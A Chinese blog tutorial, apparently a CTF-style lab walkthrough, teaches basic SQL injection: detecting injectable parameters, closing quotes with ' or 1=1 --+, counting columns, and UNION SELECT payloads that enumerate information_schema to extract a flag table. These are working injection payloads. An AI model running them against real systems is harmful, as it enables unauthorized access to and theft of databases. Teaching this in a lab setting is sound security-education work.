sql基础注入

SQL 注入

数字注入

创作不易,希望可以点个赞,后期我会做sql盲注入,感谢感谢

判断是否为SQL注入,使用 and 1=1 和1=2来判断,或者用用id=1,然后再id=2-1,如果返回的结果是一样的,则符合sql注入

在这里插入图片描述

SQL的闭合

有闭合的SQL代码,当我们输入id=1 and select*from user where passwd=passwd 时,就不能执行后面的and语句了。所以我们需要对sql注入语句进行闭合处理

常见的闭合

$sql = "SELECT * FROM users WHERE id = $id LIMIT 0,1"; //没有闭合
$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1"; 
$sql = "SELECT * FROM users WHERE id = ('$id') LIMIT 0,1";

处理闭合的方式

$sql = "SELECT * FROM users WHERE id = '$id' LIMIT 0,1";

$id = 1' 0r 1=1 --+                    --+ 注释'后面的数据,有的时候也可以在后面加# 或者%23

$sql = "SELECT * FROM users WHERE id = '1' or 1=1 --+' LIMIT 0,1";
union 联合注入 (入门)

union联合注入需要的是,union前后查询的列数是一样的,要不然会报错,所以步骤如下:

  • 第一步:使用 id =1 and 1=1 或者 id ’ and 1=1 --+ 查询是是什么注入类型,并且看看是否符合sql注入
  • 第二步:使用 id =1 group by 1,2… 或者 id 'group by 1,2… --+ 逐个输入by1,2…,查看是否有数据回显,直到没有,最后得到列数。使用order by是一样的效果
  • 第三步: sql语句注入,查看数据库信息 id=0’ union select 1,2,database() --+ 为什么id=0呢?因为如果id=1,是成立的条件,所有会显示id=1的结果,不会显示后面的结果
第一步:使用 id =1 and 1=1 或者 id ’ and 1=1 --+ 查询是否符合sql注入

在这里插入图片描述

得出是普通的sql注入,不需要闭合操作

第二步:使用 id =1 group by 1,2… 或者 id 'group by 1,2… --+ 逐个输入by1,2…,查看是否有数据回显,直到没有,最后得到列数。使用order by是一样的效果

在这里插入图片描述

得出结果一共有3列数据

第三步: sql语句注入,查看数据库信息 id=0’ union select 1,2,database() --+ 为什么id=0呢?因为如果id=1,是成立的条件,所有会显示id=1的结果,不会显示后面的结果

*在这里插入图片描述
*

这个里注意在查询到一共有几列的时候,要看那一列会显示出数据来,如图,在这一列数据中,可以看到并没有回显出数据,注意不要在这一列输入代码来操作,在第2,3位置可以回显数据

union 联合注入 (高级)

information_schema(包含所有mysql数据库的简要信息)---->包含tables(数据表)---->数据列table_name

查询SQL 语句将返回数据库中所有表的名称
?id=0' union select 1,2,table_name from information_schema.tables--+ //得出是answer

在这里插入图片描述

处理多个表时,可以增加group_concat()

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables--+

在这里插入图片描述

通过返回的表名,在继续查找想要的flag

根据表查询列名字
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns --+ 这个是查询全部的
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer' --+ //精确查找

在这里插入图片描述

看到有flag,继续查找

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='answer' --+   先查询表,在根据表来查询列

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where column_name='flag' --+    直接查询,不建议

在这里插入图片描述

查找最终
?id=0' union select 1,2,group_concat(id,flag) from answer --+

在这里插入图片描述

代码分析(我就不加闭合符号了):
 ?id=1 union select 1(查询结果显示在第一个位置),2(查询结果显示在第一个位置),group_concat(需要汇总的表名或者列名..) from information_schema.(更低一级的表名字) where (条件一般为查询的名字) (更高一级)_name ="直通条件"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值